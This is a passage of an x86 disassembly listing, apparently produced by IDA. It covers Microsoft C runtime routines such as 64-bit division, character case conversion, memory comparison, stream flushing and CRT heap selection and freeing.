loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB364
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C534, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB364, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2670E77h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C328
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB364, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2820000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0Fh
		dd 7C0C16D2h, 561D4B46h, 0B841274Ch, 0A164D9D2h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4202E8E8h, 33900246h, 89D48AD2h
		dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 464197E8h, 0C94CA302h,	19E8004Dh
		dd 0A3000058h, 4DB318h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0FCE89056h, 5002262Ah, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB320, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2F0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB320
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC700
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 265098Ch
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2670E77h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5E0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 26804F7h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C05CFh
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2660000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 482217E8h
		dd 0A3C08502h, 4DC944h,	93E83674h, 83FFFFFEh, 48A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh
		dd 2472E41h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC944h
		dd 3821BFE8h, 0C0859002h, 4DC93CA3h, 0C3017500h, 4244C8Bh
		dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h
		dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC938
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC93C
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


